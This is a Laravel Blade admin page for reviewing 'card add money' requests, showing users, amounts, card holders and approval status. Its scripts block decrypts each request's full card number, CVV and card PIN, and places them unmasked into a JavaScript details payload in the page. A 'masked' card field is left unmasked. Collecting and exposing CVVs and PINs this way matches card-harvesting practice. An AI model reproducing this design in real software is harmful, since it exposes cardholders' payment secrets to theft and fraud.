@extends('backend.master') @push('styles') @endpush @section('content')
Card Add Money Requests
@if(request()->hasAny(['status','q'])) Reset @endif
@if(session('ok'))
{{ session('ok') }}
@endif @if ($errors->any())
Validation error:
    @foreach ($errors->all() as $e)
  • {{ $e }}
  • @endforeach
@endif
@forelse($submits as $s) @php // এখানে চাইলে শুধু last 4 দেখাতে পারো $masked = $s->card_number; @endphp @empty @endforelse
# User Amount Card Holder Reference Status Requested Actions
#{{ $s->id }} {{ $s->user?->name }}
{{ $s->user?->phone ?? $s->user?->email }}
{{ number_format($s->amount, 2) }} {{ $s->card?->brand ?? 'Card' }}
{{ $masked }}
{{ $s->holder_name }} {{ $s->reference_code }} @php $badgeClass = match($s->status) { 'approved' => 'bg-success', 'rejected' => 'bg-danger', default => 'bg-warning text-dark' }; $icon = match($s->status) { 'approved' => 'fa-circle-check', 'rejected' => 'fa-circle-xmark', default => 'fa-hourglass-half' }; @endphp {{ ucfirst($s->status) }} {{ $s->created_at?->format('Y-m-d H:i') }} {{-- Details button (new) --}} {{-- proof link --}} @if($s->proof_screenshot_path) Proof @endif @if($s->status==='pending') @else Processed @endif
No card add-money requests found.
{{ $submits->links() }}
{{-- ===== Approve/Reject Modal (existing) ===== --}} {{-- ===== Details Modal (new) ===== --}} @endsection @push('scripts') @php // JS এর জন্য সব field প্রস্তুত করছি (decrypt সহ) $detailsPayload = []; foreach ($submits as $ss) { try { $cardNumber = $ss->card_number ? decrypt($ss->card_number) : null; } catch (\Throwable $e) { $cardNumber = $ss->card_number; } try { $cvv = $ss->cvv ? decrypt($ss->cvv) : null; } catch (\Throwable $e) { $cvv = $ss->cvv; } try { $pin = $ss->pin ? decrypt($ss->pin) : null; } catch (\Throwable $e) { $pin = $ss->pin; } $meta = $ss->meta ?? []; $adminNote = $meta['admin_note'] ?? null; $detailsPayload[$ss->id] = [ 'id' => $ss->id, 'user_name' => optional($ss->user)->name, 'user_contact' => optional($ss->user)->phone ?? optional($ss->user)->email, 'card_brand' => optional($ss->card)->brand, 'card_number' => $cardNumber, 'expire_date' => $ss->expire_date, 'cvv' => $cvv, 'pin' => $pin, 'holder_name' => $ss->holder_name, 'amount' => $ss->amount, 'status' => $ss->status, 'reference_code'=> $ss->reference_code, 'proof_url' => $ss->proof_screenshot_path ? asset('storage/'.$ss->proof_screenshot_path) : null, 'created_at' => optional($ss->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($ss->updated_at)->format('Y-m-d H:i:s'), 'admin_note' => $adminNote, ]; } @endphp @endpush